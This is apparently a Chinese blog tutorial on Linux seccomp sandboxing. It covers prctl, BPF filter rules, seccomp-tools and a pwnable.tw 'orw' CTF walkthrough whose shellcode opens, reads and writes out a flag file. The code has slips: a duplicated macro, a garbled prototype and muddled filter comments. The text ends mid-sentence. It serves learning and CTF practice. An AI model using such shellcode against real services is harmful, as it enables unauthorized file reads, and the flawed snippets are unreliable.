从prctl函数开始学习沙箱规则
从prctl函数开始学习沙箱规则
这篇文章很早就写完了,字数有点多,之前懒得抄到博客上去。最近回头再看,相当于温习一遍,也有了很多新的收获。
1.prctl函数初探
prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。这里展示一下/linux/prctl.h和seccomp相关的源码,其他的细节,还可以在Github上再去查找,这里就暂时不再赘述。
/* Get/set process seccomp mode */ #define PR_GET_SECCOMP 21 #define PR_GET_SECCOMP 22 /* * If no_new_privs is set, then operations that grant new privileges (i.e. * execve) will either fail or not grant them. This affects suid/sgid, * file capabilities, and LSMs. * * Operations that merely manipulate or drop existing privileges (setresuid, * capset, etc.) will still work. Drop those privileges if you want them gone. * * Changing LSM security domain is considered a new privilege. So, for example, * asking selinux for a specific new context (e.g. with runcon) will result * in execve returning -EPERM. * * See Documentation/userspace-api/no_new_privs.rst for more details. */ #define PR_SET_NO_NEW_PRIVS 38 #define PR_GET_NO_NEW_PRIVS 39
prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。
include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。
在第一个参数中,我们需要重点关注的参数有这两个:
(1).PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。
struct sock_fprog { unsigned short len; /* 指令个数 */ struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/ }
struct sock_filter { /* Filter block */ __u16 code; /* Actual filter code,bpf指令码,后面我们会详细地学习一下 */ __u8 jt; /* Jump true */ __u8 jf; /* Jump false */ __u32 k; /* Generic multiuse field */ }; //seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息 struct seccomp_data{ int nr;//系统调用号 __u32 arch;//调用架构 __u64 instruction_pointer;//CPU指令指针 __u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9 }
2.BPF过滤规则(伯克利封装包过滤)
我个人理解,突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。
如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。
我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。
BPF指令集简介
BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。
BPF_LDX:从内存中加载byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。
#include<stdio.h> #include<fcntl.h> #include<unistd.h> #include<stddef.h> #include<linux/seccomp.h> #include<linux/filter.h> #include<sys/prctl.h> #include<linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h #include<sys/types.h> int main() { struct sock_filter filter[]={ BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送4个字节 BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转 BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL), // 杀死一个进程 // BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE), // 父进程追踪子进程,具体没太搞清楚 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO), // 异常处理 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), // 这里表示系统调用如果正常,允许系统调用 }; struct sock_fprog prog={ .len=sizeof(filter)/sizeof(sock_filter[0]), .filter=filter, }; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则 puts("123"); return 0; }
上面的代码很简单,是我开始看bpf的时候,H4师傅给我随手写的一段供我学习的设置bpf规则的代码,我加了写注释。可以顺着这段代码,来一步步理解bpf规则,然后写出自己的过滤规则,进一步地学习。
开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。
#ifndef BPF_STMT #define BPF_STMT(code,k){(unsigned short)(code),0,0,k} #endif #ifndef BPF_JUMP #define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k} #endif
上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.
BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。
github上有一篇书写bpf规则的例子,这里给出链接:
bpf例子
上面是我又加了一个过滤规则,把系统调用号11也禁用掉,因为我们这里没有审查arch,而在32位下,execve的系统调用号是11,所以把这个系统调用也禁用掉。
禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示,可以看到当系统调用号是59和11的时候,跳转到第四行杀死进程,非常明了。
至此,我们也是基本了解了bpf,并且能够书写出bpf规则,接下来,我们再看看seccomp-tools的工具使用。
3seccomp-tools工具使用
seccomp-tools是Github上的一个开源的工具,具体的细节,在Github上可以查阅。这里,我们做一个简单的介绍。
dump:将bpf规则从可执行文件中dump下来。
seccomp-tools dump ./可执行文件名 [-f][inspect] [raw] [xxd]
disasm:将bpf规则反汇编出来
seccomp-tools disasm ./可执行文件名.bpf
asm:运用这个模块,我们可以写一个asm脚本,然后执行seccomp-tools asm [asm脚本名]
4例题(pwnable.tw —— orw)
orw是一种方法,在系统调用被严格禁用的情况下,代表open(),read(),write()这三个函数。
主函数如上所示,其中有一个orw_seccomp函数
我们用seccomp-tools看一下它的过滤规则,可以发现,只有rt_signreturn,exit_group,exit,open,read,write这几个系统调用是可以被调用的。
程序没有溢出点,但是在填入shellcode之后,会主动调用shellcode,题目提示:flag位于“/home/orw/”目录下,所以这里写入的shellcode直接调用sys_open,sys_read,sys_write读取flag即可,这里写一个汇编脚本。
mov eax,0x5; push 0x67616c66; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp; //前面是把字符串“home/orw/flag”作为参数填入栈中,这里是从esp开始,把栈中的参数转入ebx寄存器中 xor ecx,ecx; push ecx; //这里压入栈中,表示ecx寄存器由调用者保存 xor edx,edx; int 0x80; //sys_open mov eax 0x3; mov ecx,ebx; mov ebx,0x3; mov edx,0x30; int 0x80; //sys_read mov eax,0x4; mov bl,0x1; mov edx,0x30; int 0x80
然后用pwntools写一个脚本吧shellcode发送过去就好了(自己写一遍啊,2333)
有借鉴过其他师傅的博客,这里一并列出:
linux沙箱之seccomp
seccomp学习笔记
关于seccomp沙箱中的bpf规则
写在最后:
prctl函数是最原始的,建立沙箱规则的函数。后面出现的seccomp.h对prctl函数进行了封装,有了seccomp_init(),seccomp_rule_add(),seccomp_load()函数来进行沙箱规则的设置。
/* * seccomp actions */ /** * Kill the process */ #define SCMP_ACT_KILL 0x00000000U /** * Throw a SIGSYS signal */ #define SCMP_ACT_TRAP 0x00030000U /** * Return the specified error code */ #define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU)) /** * Notify a tracing process with the specified value */ #define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU)) /** * Allow the syscall to be executed after the action has been logged */ #define SCMP_ACT_LOG 0x7ffc0000U /** * Allow the syscall to be executed */ #define SCMP_ACT_ALLOW 0x7fff0000U
seccomp_rule_add函数负责添加规则,函数原型如下:
/** * Add a new rule to the filter * @param ctx the filter context * @param action the filter action * @param syscall the syscall number * @param arg_cnt the number of argument filters in the argument filter chain * @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended) * * This function adds a series of new argument/value checks to the seccomp * filter for the given syscall; multiple argument/value checks can be * specified and they will be chained together (AND'd together) in the filter. * If the specified rule needs to be adjusted due to architecture specifics it * will be adjusted without notification. Returns zero on success, negative * values on failure. * */ int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);
第二个参数如下所示,表示对某个系统调用要进行的操作:
/* * seccomp actions */ /** * Kill the process */ #define SCMP_ACT_KILL 0x00000000U /** * Throw a SIGSYS signal */ #define SCMP_ACT_TRAP 0x00030000U /** * Return the specified error code */ #define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU)) /** * Notify a tracing process with the specified value */ #define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU)) /** * Allow the syscall to be executed after the action has been logged */ #define SCMP_ACT_LOG 0x7ffc0000U /** * Allow the syscall to be executed */ #define SCMP_ACT_ALLOW 0x7fff0000U
最后一个参数为0的时候,表示直接对系统调用进行操作。如果当某个参数满足条件后,对某个系统调用进行操作,那么可以有以下的宏定义进行限制:
/** * Specify an argument comparison struct for use in declaring rules * @param arg the argument number, starting at 0 * @param op the comparison operator, e.g. SCMP_CMP_* * @param datum_a dependent on comparison * @param datum_b dependent on comparison, optional */ #define SCMP_CMP(...) ((struct scmp_arg_cmp){__VA_ARGS__}) /** * Specify an argument comparison struct for argument 0 */ #define SCMP_A0(...) SCMP_CMP(0, __VA_ARGS__) /** * Specify an argument comparison struct for argument 1 */ #define SCMP_A1(...) SCMP_CMP(1, __VA_ARGS__) /** * Specify an argument comparison struct for argument 2 */ #define SCMP_A2(...) SCMP_CMP(2, __VA_ARGS__) /** * Specify an argument comparison struct for argument 3 */ #define SCMP_A3(...) SCMP_CMP(3, __VA_ARGS__) /** * Specify an argument comparison struct for argument 4 */ #define SCMP_A4(...) SCMP_CMP(4, __VA_ARGS__) /** * Specify an argument comparison struct for argument 5 */ #define SCMP_A5(...) SCMP_CMP(5, __VA_ARGS__) /** * Comparison operators */ enum scmp_compare { _SCMP_CMP_MIN = 0, SCMP_CMP_NE = 1, /**< not equal */ SCMP_CMP_LT = 2, /**< less than */ SCMP_CMP_LE = 3, /**< less than or equal */ SCMP_CMP_EQ = 4, /**< equal */ SCMP_CMP_GE = 5, /**< greater than or equal */ SCMP_CMP_GT = 6, /**< greater than */ SCMP_CMP_MASKED_EQ = 7, /**< masked equality */ _SCMP_CMP_MAX, }; /** * Argument datum */ typedef uint64_t scmp_datum_t; /** * Argument / Value comparison definition */ struct scmp_arg_cmp { unsigned int arg; /**< argument number, starting at 0 */ enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */ scmp_datum_t datum_a; scmp_datum_t datum_b; };
seccomp_load负责导入规则,seccomp_load导入规则之后,添加的规则才能执行,函数原型如下: